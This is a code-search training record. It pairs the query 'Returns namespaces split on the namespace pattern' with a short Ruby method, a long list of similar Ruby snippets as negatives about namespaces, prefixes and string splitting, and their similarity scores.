[ "def namespaces\n namespace.split(NAMESPACE_PATTERN)\n end", "def namespaces\n namespace.split(NAMESPACE_PATTERN)\n end", "def split_prefix\n [$1, $2, $3] if @prefix =~ PREFIX_PAT\n end", "def parts\n namespace.split(SEPARATOR)\n end", "def prefixes\n @prefixes ||= Hash[namespaces.sort_by { |k, v| k }.uniq { |k, v| v }].invert\n end", "def namespaces_by_prefix\n namespace_scopes.reduce({}, &->(m, ns) { m[ns.prefix]=ns; m })\n end", "def namespaces\n map(&:namespace).map(&:prefix).map(&:to_s).map(&:downcase).uniq\n end", "def prefixes; end", "def prefixes; end", "def namespaces_by_prefix\n form_data = { 'action' => 'query', 'meta' => 'siteinfo', 'siprop' => 'namespaces' }\n res = make_api_request(form_data)\n REXML::XPath.match(res, \"//ns\").inject(Hash.new) do |namespaces, namespace|\n prefix = namespace.attributes[\"canonical\"] || \"\"\n namespaces[prefix] = namespace.attributes[\"id\"].to_i\n namespaces\n end\n end", "def get_prefixes\n find_all{|entry| entry.type==Morpheme::PREFIX}\n end", "def get_prefixed_words(prefix)\n return Lexicon.scan(prefix)\n end", "def gather_prefixes(tlds)\n prefixes = []\n while tlds.length > 0\n prefix = tlds.first[0]\n i = tlds.index {|tld| tld[0] != prefix} || tlds.length\n group = tlds[0...i].map {|tld| tld[1..-1]}\n if (j = group.index(''))\n group.delete_at(j)\n group << ''\n end\n r = (group.length == 1) ? group.first : gather_prefixes(group)\n prefixes << \"#{prefix}#{r}\"\n tlds = tlds[i..-1]\n end\n \"(?:#{prefixes.join('|')})\"\nend", "def local_prefixes\n []\n end", "def list_namespace(regex = '.*')\n pattern = java.util.regex.Pattern.compile(regex)\n list = @admin.listNamespaces\n list.select { |s| pattern.match(s) }\n end", "def namespace_names\n @namespaces.map(&:name)\n end", "def splitNameSpace(source)\n #noinspection RubyNestedTernaryOperatorsInspection\n source =~ /(\\w[\\w\\.]*)\\.(#{TYPE_START}\\w*)/ ? [($1.empty? ? nil : $1), $2] :\n (source =~ /(#{TYPE_START}\\w*)/ ? [nil, source] : [nil, nil])\nend", "def keys_for(key = EMPTY_STRING)\n key.split(NAMESPACE_PATTERN)\n end", "def keys_for(key = EMPTY_STRING)\n key.split(NAMESPACE_PATTERN)\n end", "def get_namespace(node, prefix); end", "def standard_prefixes\n prefix_registry.to_a\n end", "def prefixes_from_values(values, separator = \"\\0\", wildcard = \"*\")\n last_value = values[-1]\n non_final = values.size > 1 ? (values[0..-2].join(separator) + separator) : \"\"\n prefix = \"#{non_final}#{last_value.split(wildcard,2)[0]}\"\n\n raise \"We currently fail hard if the last byte of the label value prefix \" +\n \"is 255!\" if prefix[-1].ord == 255\n prefix += \"\\0\" if last_value && !last_value[\"*\"]\n prefix_end = prefix[0..-2] + prefix[-1].succ\n\n [prefix, prefix_end]\n end", "def possible_namespaces\n namespaces = []\n key = @key.to_s\n while (index = key.rindex('_'))\n key = key[0, index]\n namespaces << key.to_sym\n end\n namespaces\n end", "def namesplit(fullname)\n ary = fullname.split(\"::\")\n n = ary.pop || \"\"\n ns = ary.join(\"::\")\n return ns, n\n end", "def parts\n prefix, parts = split_names(@path)\n prefix.empty? ? parts : [prefix] + parts\n end", "def prefixes(ary)\r\n ary.length.times.reduce([]) { |results, i| results << ary[0..i] }\r\n end", "def split_name(name)\n classified_name = name.to_s.classify\n name_parts = classified_name.split(\"::\")\n namespace_name = name_parts[0...-1].join(\"::\")\n return [nil, classified_name] if namespace_name.empty?\n\n [namespace_name, name_parts.last]\n end", "def build_namespace(*parts, prefix: nil, separator: ?.)\n [\n prefix,\n app_name,\n ( app_env if include_app_env? ),\n *parts\n ].compact.join(separator)\n end", "def collect_prefixes hash, prefix\n prefix_matcher = Regexp.new(\"^#{prefix}\")\n hash\n .select { |name| prefix_matcher =~ name }\n .reduce({}) do |memo, name|\n memo[name[0].gsub(prefix_matcher, '')] = name[1]\n memo\n end\nend", "def ns_prefixes\n {\n 'jerm' => JERMVocab.to_uri.to_s,\n 'dcterms' => RDF::Vocab::DC.to_uri.to_s,\n 'owl' => RDF::Vocab::OWL.to_uri.to_s,\n 'foaf' => RDF::Vocab::FOAF.to_uri.to_s,\n 'sioc' => RDF::Vocab::SIOC.to_uri.to_s\n }\n end", "def starts_with(prefix)\n extract.grep(/^#{prefix}/)\n end", "def prefix\n match(/Prefix\\s+:\\s+([^\\s])/)\n end", "def prefix\n regexify(bothify(fetch('aircraft.prefix')))\n end", "def namespaces\n ns = {}\n\n JSON.parse(raw_namespaces)[\"results\"][\"bindings\"].each {|x|\n ns[x[\"prefix\"][\"value\"]] = x[\"namespace\"][\"value\"]\n }\n ns\n end", "def _prefixes # :nodoc:\n self.class._prefixes\n end", "def _prefixes # :nodoc:\n self.class._prefixes\n end", "def with_prefixes(*prefixes)\n [prefixes].map { |prefix| self.with_prefix(prefix) }\n end", "def get_namespace_and_name(input_remote_name, delimiter)\n if (input_remote_name||'').include?(delimiter)\n input_remote_name.split(delimiter)\n # support ns/name as well as ns:name\n elsif (input_remote_name||'').include?('/')\n input_remote_name.split('/')\n else\n [nil, input_remote_name]\n end\n end", "def plugin_prefixes( *args )\n\t\t@plugin_prefixes.replace( args ) if !args.empty?\n\t\treturn @plugin_prefixes\n\tend", "def collect_namespaces\n # TODO: print warning message if a prefix refers to more than one URI in the document?\n ns = {}\n traverse {|j| ns.merge!(j.namespaces)}\n ns\n end", "def _prefixes; end", "def all_prefixes(browser)\n assert_valid_browser browser\n data = browser_data(browser)\n prefixes = [\"-#{data[\"prefix\"]}\"]\n if data[\"prefix_exceptions\"]\n prefixes += data[\"prefix_exceptions\"].values.uniq.map{|p| \"-#{p}\"}\n end\n prefixes\n end", "def namespaces_to_paths(namespaces)\n paths = []\n namespaces.each do |namespace|\n pieces = namespace.split(\":\")\n path = pieces.join(\"/\")\n paths << \"#{path}/#{pieces.last}\"\n paths << path\n end\n paths.uniq!\n paths\n end", "def prefixes(browsers = browsers)\n result = browsers.map{|b| all_prefixes(b) }\n result.flatten!\n result.uniq!\n result.sort!\n result\n end", "def get_namespaces\n @paths.keys\n end", "def with_prefixes_namespaces_key_for(keys = EMPTY_ARRAY)\n [*prefixes, *namespaces, *keys].join('_').upcase\n end", "def with_prefixes_namespaces_key_for(keys = EMPTY_ARRAY)\n [*prefixes, *namespaces, *keys].join('_').upcase\n end", "def identifiers(ident, prefix='')\n identify(ident).map{|sym| \"#{prefix}#{sym}\"}\n end", "def prefix_for(ns_uri)\n if namespaces_by_uri().has_key?(ns_uri)\n namespaces_by_uri()[ns_uri].prefix || \"\" # namespace.prefix returns nil if there is no prefix defined (default prefix)\n end\n end", "def parse_prefix(param_str, param_re)\n match_obj = param_re.match(param_str)\n return [param_str, \"\"] unless match_obj\n return [match_obj.pre_match, match_obj[0] + match_obj.post_match] unless param_re == PRINTF\n # PRINTF matches the previous character (since we want to escape %%). We must include that\n # character as a part of our prefix; our param is whatever comes after that character.\n # Note that we may or may not have a previous character.\n match_obj[0][0] == \"%\" ?\n [\"\", match_obj[0] + match_obj.post_match]\n : [match_obj.pre_match + match_obj[0][0], match_obj[0][1..-1] + match_obj.post_match]\n end", "def namespace\n self.class.new split(NAMESPACE_SEPARATOR).first\n end", "def keys\n out = [ ]\n @source.keys.each do |key|\n if key.starts_with?(@prefix)\n out << key[@prefix.length..-1]\n else\n out << key\n end\n end\n out\n end", "def remove_namespaces_from_segments(segments)\n namespaces = controller_path.sub(controller_name,'').sub(/\\/$/,'').split('/')\n while namespaces.size > 0\n if segments[0].is_a?(ActionController::Routing::DividerSegment) && segments[1].is_a?(ActionController::Routing::StaticSegment) && segments[1].value == namespaces.first\n segments.shift; segments.shift # shift the '/' & 'namespace' segments\n update_name_prefix(\"#{namespaces.shift}_\")\n else\n break\n end\n end\n segments\n end", "def prefix_css_selectors(prefix = \"_\")\n selector_regex = /^\\s*?(?!\\/\\*)+?[^:]*?(?!:\\s)([\\.#][^,\\s]*[:]?[^\\s,])$/\n\n new_sass = \"\"\n sass.each_line do |line|\n # Skip blank lines\n next if line =~ /^\\s*$/\n\n line = line.gsub(selector_regex) do |str|\n # Add the underscores\n str.gsub!(/([#.])/, \"\\\\1#{prefix}\")\n end\n new_sass << line\n end\n\n sass = new_sass\n end", "def find_words_starting_with(prefix)\n # keeps track of unvisited nodes\n stack = []\n words = []\n # keeps track of the current string\n prefix_stack = []\n\n stack << find_word(prefix)\n prefix_stack << prefix.chars.take(prefix.size - 1)\n\n return [] unless stack.first\n\n until stack.empty?\n node = stack.pop\n\n prefix_stack.pop and next if node == :guard_node\n\n prefix_stack << node.value\n stack << :guard_node\n\n words << prefix_stack.join if node.word\n\n node.next.each { |n| stack << n }\n end\n\n words\n end", "def namespaced(key)\n return [@namespace, key].join(':')\n end", "def namespaced(key)\n return [@namespace, key].join(':')\n end", "def get_namespaces\n raise NotImplementedError\n end", "def prefix( *pf )\r\n tokens.unshift(*TokenString.linearize_tokens(pf))\r\n self\r\n end", "def prefix(prefix)\n new(map { |attr| attr.prefixed(prefix) })\n end", "def alternate_namespaces\n return @alternate_name.keys()\n end", "def namespaces\n Dir[\"#{NAMESPACE_DIR}/*\"]\n .find_all { |dir| FileTest.directory?(dir) }\n .map { |dir| File.basename(dir) }\nend", "def get_prefixed_words(prefix)\n # FILL ME IN\n # return [@trie.is_word(prefix)]\n prefix_copy = prefix\n answer = []\n current_node = My_trie.root\n # p \"val is: \"\n # p My_trie.root.val\n # return ['alphabet']\n\n while prefix.length > 0\n # p \"node is: \", current_node.keys\n node = current_node.keys[prefix[0]]\n prefix = prefix[1..-1]\n if node\n current_node = node\n else\n return \"Sorry, we can't find any words with that prefix\"\n end\n end\n #we now have the final letter of the prefix as the current node, I hope.\n # p \"CURRENT NODE.VAL: \", current_node.val\n answer = dfs(current_node, prefix_copy[0...-1])\n return answer\n end", "def parse_prefix(prefix)\n nick_and_user, host = String(prefix).split \"@\", 2\n\n if host.nil?\n if nick_and_user.include? \".\"\n servername = nick_and_user\n else\n nickname = nick_and_user\n end\n else\n nickname, user = nick_and_user.split \"!\", 2\n end\n\n [nickname, user, host || servername]\n end", "def local_prefixes; end", "def prefix(*ps)\n set :prefixes, ps.map { |p| ::File.join(\"/\", p) }\n end", "def filter(units)\n return units if namespaces.nil? or namespaces.empty?\n units.select do |u|\n namespaces.any? do |ns|\n /^#{ns}/ =~ u.namespace.to_s\n end\n end\n end", "def namespaces\n result = []\n each_instance( \"root/interop\", \"CIM_Namespace\" ) do |inst|\n result << inst.Name\n end\n result.uniq\n end", "def strip_namespace\n split(\":\").last\n end", "def namespaces(*namespaces)\n namespaces.each do |ns|\n namespace ns\n end\n @namespaces\n end", "def list(namespace)\n list = Dir.entries(make_path(namespace)) - %w{. ..}\n list.map! {|item| File.split(item)[1].to_sym}\n list.to_set\n end", "def namespace(ns)\n ns.blank? ? \"nil\" : %|\"#{ns.prefix}\"|\nend", "def use_prefix\n prefix, @prefix = @prefix, nil\n @res << prefix if prefix\n\n prefix\n end", "def ns(*words)\n jn(@namespace, words)\n end", "def general_prefix\n parts = []\n parts << label\n parts << ttl if ttl\n parts << 'IN'\n parts << type\n parts\n end", "def load_namespaces\n\t\t\tnamespace_instructions = []\n\t\t\tns_pi = self.find_all { |i| i.is_a? REXML::Instruction and i.target == 'xml:ns' }\n\t\t\tns_pi.each do |i|\n\t\t\t\tif i.attributes.has_key?('name')\n i.attributes['prefix'] = i.attributes['name']\n elsif i.attributes.has_key?('prefix')\n i.attributes['name'] = i.attributes['prefix']\n else\n raise \"parse error namespace instruction missing required name or prefix attribute.\"\n end\n if i.attributes.has_key?('space')\n i.attributes['uri'] = i.attributes['space']\n elsif i.attributes.has_key?('uri')\n i.attributes['space'] = i.attributes['uri']\n else\n\t\t\t\t\traise \"parse error namespace instruction missing required space or uri attribute.\"\n\t\t\t\tend\n namespace_instructions << i\n\t\t\tend\n\t\t\treturn namespace_instructions\n\t\tend", "def prefixed_objects(objects, prefix_flag)\n objects.map { |lo| \"#{prefix_flag}#{lo}\" }\n end", "def prefix\n \"#{name}::\"\n end", "def prefix_parts t, severity\n\n\t\tprefix_elements.map do |el|\n\n\t\t\tcase el\n\t\t\twhen :program_name, :process_name\n\n\t\t\t\tprocess_name\n\t\t\twhen :process_id\n\n\t\t\t\tprocess_id\n\t\t\twhen :severity\n\n\t\t\t\tseverity_string severity\n\t\t\twhen :thread_id\n\n\t\t\t\tthread_id\n\t\t\twhen :timestamp\n\n\t\t\t\ttimestamp t\n\t\t\telse\n\n\t\t\t\ts = ::Symbol === el ? \":#{el}\" : el.to_s\n\n\t\t\t\twarn \"ignoring unrecognised prefix_element '#{s}'\"\n\n\t\t\t\tnil\n\t\t\tend\n\t\tend\n\tend", "def match(prefix)\n result = []\n current = @root\n current_prefix = prefix\n\n while current != nil && current_prefix != \"\"\n previous, previous_prefix = current, current_prefix\n current, current_prefix = next_node(current, current_prefix)\n end\n\n unless current\n if current_prefix\n return []\n else\n next_nodes = previous[:nodes].select { |prefix, node| prefix.start_with?(previous_prefix) }.values\n end\n else\n next_nodes = [current]\n end\n\n until next_nodes.empty?\n current = next_nodes.pop\n result << current[:value]\n current[:nodes].each { |prefix, node| next_nodes.push(node) }\n end\n\n return result.compact\n end", "def prefix\n fetch_sample(PREFIXES)\n end", "def createPrefixTable(pattern)\n if (!pattern) then\n return\n end\n\n prefix = Array.new((pattern.length),0)\n j = 0\n prefix[0] = 0\n\n for i in 1...(pattern.length)\n if pattern[i] == pattern[j]\n prefix[i] = j\n j = j+1\n else\n while true\n j = prefix[j]\n if j == 0 then\n break\n end\n if pattern[i] == pattern[j]\n prefix[i] = prefix[j]\n break\n end\n end\n end\n end\n return prefix\nend", "def get_prefixed_words(prefix)\n # FILL ME IN\n unless valid_word?(prefix)\n return \"Invalid input (string should only consist of letters).\"\n end\n output = findWords(prefix)\n if output.length() == 0\n return \"No prefixed words found!\"\n end\n output\n end", "def namespaced(key)\n [@namespace, key].join(':')\n end", "def prefixed_objects objects,prefix_flag\n objects.map{|lo| \"#{prefix_flag}#{lo}\"}\n end", "def prefix(num)\n namespace + '_prefix_' + num.to_s\n end", "def collect_namespaces(object); end", "def namespace\n @namespace ||= [request.args.namespace_name, request.args.application_name].compact.join('-')\n end", "def getNamespace(prefix)\n @obj.getNamespace(prefix)\n end", "def starting_by\n @prefix = starting_prefix_param\n @tags = Tag.starting_by(@prefix)\n end", "def namespaceNames\n @options[:namespaceNames] ||= fetch(:namespaceNames)\n end", "def namespace\n return self.name ? self.name.downcase.gsub(/[^0-9A-Za-z ]/, '').gsub(' ', '-') : ''\n end", "def prefix_suffix\n ext = extname\n [basename(ext), ext]\n end", "def namespace\n # controller_name_segments = params[:controller].split('/')\n # controller_name_segments.pop\n # controller_name_segments.join('/').camelize\n params[:controller].split('/').first\n end", "def extract_namespace(record_or_hash_or_array)\n return \"\" unless record_or_hash_or_array.is_a?(Array)\n\n namespace_keys = []\n while (key = record_or_hash_or_array.first) && key.is_a?(String) || key.is_a?(Symbol)\n namespace_keys << record_or_hash_or_array.shift\n end\n\n namespace_keys.map {|k| \"#{k}_\"}.join\n end", "def find_prefix(word)\n prefix = ''\n i = 0\n while starts_with(prefix)\n prefix += word[i]\n i += 1\n end\n prefix.slice(0, prefix.length - 1)\n end", "def namespace_prefix( doc, ns )\n doc_ns = doc.collect_all_namespaces_href_keys\n if doc_ns.key?( ns )\n doc_ns[ ns ].first.nil? ? 'xmlns' : doc_ns[ ns ].first\n else\n 'xmlns'\n end\nend", "def namespace_prefix( doc, ns )\n doc_ns = doc.collect_all_namespaces_href_keys\n if doc_ns.key?( ns )\n doc_ns[ ns ].first.nil? ? 'xmlns' : doc_ns[ ns ].first\n else\n 'xmlns'\n end\n end", "def get_subgroup_names\n names = Array.new\n @subgroup.keys.each do |key|\n keypcs = key.split/:/\n names << keypcs[1]\n end\n return names\n end" ]
[ "0.7407533", "0.7407533", "0.72848666", "0.6980872", "0.6971747", "0.6595333", "0.6568921", "0.624414", "0.624414", "0.6192974", "0.60950315", "0.5989826", "0.5929457", "0.59197074", "0.5910274", "0.5889009", "0.5793063", "0.5739296", "0.5739296", "0.5708575", "0.57040274", "0.568791", "0.567711", "0.56644195", "0.5646343", "0.5621153", "0.55839133", "0.55723083", "0.55707407", "0.55509186", "0.55486995", "0.5537142", "0.5523292", "0.546529", "0.54537714", "0.54537714", "0.5427557", "0.53911185", "0.5381096", "0.5378761", "0.5337869", "0.5301341", "0.52918506", "0.52914", "0.5277131", "0.5275108", "0.5275108", "0.52558714", "0.52364737", "0.52234215", "0.52233124", "0.51948434", "0.51826185", "0.51759607", "0.5159339", "0.5128009", "0.5128009", "0.5125235", "0.5115214", "0.5108167", "0.51001614", "0.5096058", "0.5075738", "0.5070111", "0.50614774", "0.5057734", "0.5055273", "0.50517356", "0.50088286", "0.5008612", "0.49802476", "0.49723348", "0.49596414", "0.49567208", "0.49435335", "0.49421024", "0.4940844", "0.49328047", "0.49315822", "0.49314278", "0.49243337", "0.49135652", "0.49048516", "0.49038696", "0.49011177", "0.4899958", "0.4888733", "0.48800075", "0.4872969", "0.48703805", "0.48665828", "0.48620602", "0.4860943", "0.4860579", "0.4855317", "0.48469514", "0.48413858", "0.48409587", "0.48409125" ]
0.84440666
1
Returns namespaces split on the namespace pattern.
def namespaces namespace.split(NAMESPACE_PATTERN) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def parts\n namespace.split(SEPARATOR)\n end", "def prefixes\n prefix.split(NAMESPACE_PATTERN)\n end", "def prefixes\n prefix.split(NAMESPACE_PATTERN)\n end", "def namespaces\n map(&:namespace).map(&:prefix).map(&:to_s).map(&:downcase).uniq\n end", "def list_namespace(regex = '.*')\n pattern = java.util.regex.Pattern.compile(regex)\n list = @admin.listNamespaces\n list.select { |s| pattern.match(s) }\n end", "def possible_namespaces\n namespaces = []\n key = @key.to_s\n while (index = key.rindex('_'))\n key = key[0, index]\n namespaces << key.to_sym\n end\n namespaces\n end", "def splitNameSpace(source)\n #noinspection RubyNestedTernaryOperatorsInspection\n source =~ /(\\w[\\w\\.]*)\\.(#{TYPE_START}\\w*)/ ? [($1.empty? ? nil : $1), $2] :\n (source =~ /(#{TYPE_START}\\w*)/ ? [nil, source] : [nil, nil])\nend", "def namespaces_by_prefix\n namespace_scopes.reduce({}, &->(m, ns) { m[ns.prefix]=ns; m })\n end", "def namespace_names\n @namespaces.map(&:name)\n end", "def split_name(name)\n classified_name = name.to_s.classify\n name_parts = classified_name.split(\"::\")\n namespace_name = name_parts[0...-1].join(\"::\")\n return [nil, classified_name] if namespace_name.empty?\n\n [namespace_name, name_parts.last]\n end", "def namespaces\n Dir[\"#{NAMESPACE_DIR}/*\"]\n .find_all { |dir| FileTest.directory?(dir) }\n .map { |dir| File.basename(dir) }\nend", "def namespaces_to_paths(namespaces)\n paths = []\n namespaces.each do |namespace|\n pieces = namespace.split(\":\")\n path = pieces.join(\"/\")\n paths << \"#{path}/#{pieces.last}\"\n paths << path\n end\n paths.uniq!\n paths\n end", "def namespaces(*namespaces)\n namespaces.each do |ns|\n namespace ns\n end\n @namespaces\n end", "def namespaces(recurse=false)\n symbols(false, recurse).map { |s| s.namespace }.sort.uniq\n end", "def get_namespaces\n @paths.keys\n end", "def get_namespaces\n raise NotImplementedError\n end", "def split_prefix\n [$1, $2, $3] if @prefix =~ PREFIX_PAT\n end", "def namespaces\n ns = {}\n\n JSON.parse(raw_namespaces)[\"results\"][\"bindings\"].each {|x|\n ns[x[\"prefix\"][\"value\"]] = x[\"namespace\"][\"value\"]\n }\n ns\n end", "def namespaces\n result = []\n each_instance( \"root/interop\", \"CIM_Namespace\" ) do |inst|\n result << inst.Name\n end\n result.uniq\n end", "def namespaces(name = nil)\n if name\n namespaces.find(:name => name)\n else\n @namespaces.flatten\n end\n end", "def namesplit(fullname)\n ary = fullname.split(\"::\")\n n = ary.pop || \"\"\n ns = ary.join(\"::\")\n return ns, n\n end", "def strip_namespace\n split(\":\").last\n end", "def keys_for(key = EMPTY_STRING)\n key.split(NAMESPACE_PATTERN)\n end", "def keys_for(key = EMPTY_STRING)\n key.split(NAMESPACE_PATTERN)\n end", "def remove_namespaces_from_segments(segments)\n namespaces = controller_path.sub(controller_name,'').sub(/\\/$/,'').split('/')\n while namespaces.size > 0\n if segments[0].is_a?(ActionController::Routing::DividerSegment) && segments[1].is_a?(ActionController::Routing::StaticSegment) && segments[1].value == namespaces.first\n segments.shift; segments.shift # shift the '/' & 'namespace' segments\n update_name_prefix(\"#{namespaces.shift}_\")\n else\n break\n end\n end\n segments\n end", "def namespaces\n warn \"DEPRECATED: this is no longer supported by LDAP. This method will always return an empty Array\"\n []\n end", "def prefixes\n @prefixes ||= Hash[namespaces.sort_by { |k, v| k }.uniq { |k, v| v }].invert\n end", "def namespace\n self.class.new split(NAMESPACE_SEPARATOR).first\n end", "def collect_namespaces(object); end", "def build_namespace(*parts, prefix: nil, separator: ?.)\n [\n prefix,\n app_name,\n ( app_env if include_app_env? ),\n *parts\n ].compact.join(separator)\n end", "def list(namespace)\n list = Dir.entries(make_path(namespace)) - %w{. ..}\n list.map! {|item| File.split(item)[1].to_sym}\n list.to_set\n end", "def namespaces_by_prefix\n form_data = { 'action' => 'query', 'meta' => 'siteinfo', 'siprop' => 'namespaces' }\n res = make_api_request(form_data)\n REXML::XPath.match(res, \"//ns\").inject(Hash.new) do |namespaces, namespace|\n prefix = namespace.attributes[\"canonical\"] || \"\"\n namespaces[prefix] = namespace.attributes[\"id\"].to_i\n namespaces\n end\n end", "def alternate_namespaces\n return @alternate_name.keys()\n end", "def namespaces\n root ? root.collect_namespaces : {}\n end", "def get_namespace_and_name(input_remote_name, delimiter)\n if (input_remote_name||'').include?(delimiter)\n input_remote_name.split(delimiter)\n # support ns/name as well as ns:name\n elsif (input_remote_name||'').include?('/')\n input_remote_name.split('/')\n else\n [nil, input_remote_name]\n end\n end", "def namespaces_list(trace: false, &block)\n r = dropbox_query(query: '2/team/namespaces/list', trace: trace)\n r['namespaces'].each(&block)\n while r != nil && r['has_more']\n r = dropbox_query(query: '2/team/namespaces/list/continue', query_data: \"{\\\"cursor\\\":\\\"#{r['cursor']}\\\"}\", trace: trace)\n next unless r != nil\n\n r['namespaces'].each(&block)\n end\n end", "def namespaces_by_uri\n namespace_scopes.reduce({}, &->(m, ns) { m[ns.href]=ns; m })\n end", "def collect_namespaces\n # TODO: print warning message if a prefix refers to more than one URI in the document?\n ns = {}\n traverse {|j| ns.merge!(j.namespaces)}\n ns\n end", "def get_namespace(node, prefix); end", "def namespace\n @namestack.join(\"::\")\n end", "def folders namespace=:main\n list = PLUGIN.values\n list.select { |it| it.namespace.include?(namespace) }\n list.map { |it| it.folder }\n end", "def determine_namespaces(type)\n ns = { atom: Atom::NAMESPACES[:atom], apps: Atom::NAMESPACES[:apps] }\n\n case type.to_s\n when 'group', 'groupmember'\n ns[:gd] = Atom::NAMESPACES[:gd]\n end\n\n ns\n end", "def filter(units)\n return units if namespaces.nil? or namespaces.empty?\n units.select do |u|\n namespaces.any? do |ns|\n /^#{ns}/ =~ u.namespace.to_s\n end\n end\n end", "def namespaces(name = nil)\n find_children_of_type(\"Namespace\", name)\n end", "def namespaces; end", "def namespaces; end", "def namespaces; end", "def namespaces; end", "def get_namespaces\n response = get_siteinfo('namespaces')\n ret = {}\n response['query']['namespaces'].each do |id, _|\n idid = response['query']['namespaces'][id]['id']\n name = response['query']['namespaces'][id]['*']\n ret[idid] = name\n end\n ret\n end", "def namespaces\n root ? root.namespaces : {}\n end", "def on_axis_namespace(ast_node, context)\n nodes = XML::NodeSet.new\n name = ast_node.children[1]\n\n context.each do |context_node|\n next unless context_node.respond_to?(:available_namespaces)\n\n context_node.available_namespaces.each do |_, namespace|\n if namespace.name == name or name == '*'\n nodes << namespace\n end\n end\n end\n\n return nodes\n end", "def unify_namespaces(ns1, ns2)\n return ns2, true if ns1 == '*'\n return ns1, true if ns2 == '*'\n return nil, false unless ns1 == ns2\n [ns1, true]\n end", "def namespace_name\n @namespace_name ||= namespaces.join('::')\n end", "def normalize(namespace)\n namespace.to_s.sub(/^[\\/:\\s]*/, '').sub(/[\\/:\\s]*$/, '').gsub(/[\\/\\\\:]+/, '::')\n end", "def split_string_bp(str)\n (str + \"_\").scan /../\nend", "def namespaced(key)\n return [@namespace, key].join(':')\n end", "def namespaced(key)\n return [@namespace, key].join(':')\n end", "def ns(*words)\n jn(@namespace, words)\n end", "def hidden_namespaces\n @hidden_namespaces ||= begin\n orm = options[:rails][:orm]\n test = options[:rails][:test_framework]\n template = options[:rails][:template_engine]\n\n [\n \"rails\",\n \"resource_route\",\n \"#{orm}:migration\",\n \"#{orm}:model\",\n \"#{test}:controller\",\n \"#{test}:helper\",\n \"#{test}:integration\",\n \"#{test}:system\",\n \"#{test}:mailer\",\n \"#{test}:model\",\n \"#{test}:scaffold\",\n \"#{test}:view\",\n \"#{test}:job\",\n \"#{template}:controller\",\n \"#{template}:scaffold\",\n \"#{template}:mailer\",\n \"action_text:install\",\n \"action_mailbox:install\"\n ]\n end\n end", "def define_namespaces #:nodoc:\n unless self.respond_to?(:namespaces)\n send(:define_singleton_method, :namespaces) { @namespaces }\n send(:define_method, :namespaces) { self.class.namespaces }\n end\n end", "def namespace\n @namespace ||= [request.args.namespace_name, request.args.application_name].compact.join('-')\n end", "def namespace\n return self.name ? self.name.downcase.gsub(/[^0-9A-Za-z ]/, '').gsub(' ', '-') : ''\n end", "def namespaces\n input.form_opts[:namespace]\n end", "def namespaceNames\n @options[:namespaceNames] ||= fetch(:namespaceNames)\n end", "def namespaces\n @opts[:namespace]\n end", "def fix_namespace api, namespace\n namespace.split(\"::\").map { |node| api.fix_namespace node }.join(\"::\")\n end", "def package_namespaces\n namespaces = [EPUB2_NAMESPACES]\n namespaces << EPUB3_NAMESPACES if @target.epub_version >= 3\n namespaces << IBOOKS_NAMESPACES if @target.epub_version >= 3 && @target.ibooks?\n namespaces.reduce(:merge)\n end", "def parts\n prefix, parts = split_names(@path)\n prefix.empty? ? parts : [prefix] + parts\n end", "def get_paths(namespace = MAIN_NAMESPACE)\n @paths[namespace] || []\n end", "def extract_namespace_and_scope type\n scope = :instance\n result = type.to_s.gsub(/<.*$/, '')\n if (result == 'Class' or result == 'Module') and type.include?('<')\n result = type.match(/<([a-z0-9:_]*)/i)[1]\n scope = :class\n end\n [result, scope]\n end", "def find_by_namespace(name)\n @namespaces.select {|ns| ns[:namespace] == name}\nend", "def get_subgroup_names\n names = Array.new\n @subgroup.keys.each do |key|\n keypcs = key.split/:/\n names << keypcs[1]\n end\n return names\n end", "def to_a\n namespaces.values.tap do |arr|\n arr << Namespace.default_root unless arr.any?(&:root?)\n end\n end", "def register_namespaces(namespaces); end", "def register_namespaces(namespaces); end", "def extract_namespace type\n extract_namespace_and_scope(type)[0]\n end", "def demodulize\n self.class.new split(NAMESPACE_SEPARATOR).last\n end", "def extract_namespace(record_or_hash_or_array)\n return \"\" unless record_or_hash_or_array.is_a?(Array)\n\n namespace_keys = []\n while (key = record_or_hash_or_array.first) && key.is_a?(String) || key.is_a?(Symbol)\n namespace_keys << record_or_hash_or_array.shift\n end\n\n namespace_keys.map {|k| \"#{k}_\"}.join\n end", "def targets\n target.split(NAMESPACE_PATTERN)\n end", "def targets\n target.split(NAMESPACE_PATTERN)\n end", "def type_namespaces\n Hash[@types.values.map { |type| [type.prefix, namespaces[type.prefix]] }]\n end", "def pattern_names\n # This removes the path and extensions\n patterns.map { |pat| pat.name.gsub(/.*[\\\\\\/]/, '').gsub(/\\..*/, '') }\n end", "def namespace(ns)\n ns.blank? ? \"nil\" : %|\"#{ns.prefix}\"|\nend", "def cleanup_namespaces\n namespaces.reject! { |namespace| namespace['prefix'].blank? || namespace['uri'].blank? } if namespaces.present?\n end", "def load_namespaces\n\t\t\tnamespace_instructions = []\n\t\t\tns_pi = self.find_all { |i| i.is_a? REXML::Instruction and i.target == 'xml:ns' }\n\t\t\tns_pi.each do |i|\n\t\t\t\tif i.attributes.has_key?('name')\n i.attributes['prefix'] = i.attributes['name']\n elsif i.attributes.has_key?('prefix')\n i.attributes['name'] = i.attributes['prefix']\n else\n raise \"parse error namespace instruction missing required name or prefix attribute.\"\n end\n if i.attributes.has_key?('space')\n i.attributes['uri'] = i.attributes['space']\n elsif i.attributes.has_key?('uri')\n i.attributes['space'] = i.attributes['uri']\n else\n\t\t\t\t\traise \"parse error namespace instruction missing required space or uri attribute.\"\n\t\t\t\tend\n namespace_instructions << i\n\t\t\tend\n\t\t\treturn namespace_instructions\n\t\tend", "def split(parts); end", "def split(pattern=$;, limit=0) end", "def split(pattern=$;, limit=0) end", "def namespace(*values)\n values.inject(self) { |res, val| res._namespace(val) or fail ArgumentError, \"Unknown value for namespace: #{val}\" }\n end", "def namespace(*values)\n values.inject(self) { |res, val| res._namespace(val) or fail ArgumentError, \"Unknown value for namespace: #{val}\" }\n end", "def namespace(*values)\n values.inject(self) { |res, val| res._namespace(val) or fail ArgumentError, \"Unknown value for namespace: #{val}\" }\n end", "def namespace(*values)\n values.inject(self) { |res, val| res._namespace(val) or fail ArgumentError, \"Unknown value for namespace: #{val}\" }\n end", "def namespace(*values)\n values.inject(self) { |res, val| res._namespace(val) or fail ArgumentError, \"Unknown value for namespace: #{val}\" }\n end", "def namespace(*values)\n values.inject(self) { |res, val| res._namespace(val) or fail ArgumentError, \"Unknown value for namespace: #{val}\" }\n end", "def namespace(*values)\n values.inject(self) { |res, val| res._namespace(val) or fail ArgumentError, \"Unknown value for namespace: #{val}\" }\n end", "def namespace(*values)\n values.inject(self) { |res, val| res._namespace(val) or fail ArgumentError, \"Unknown value for namespace: 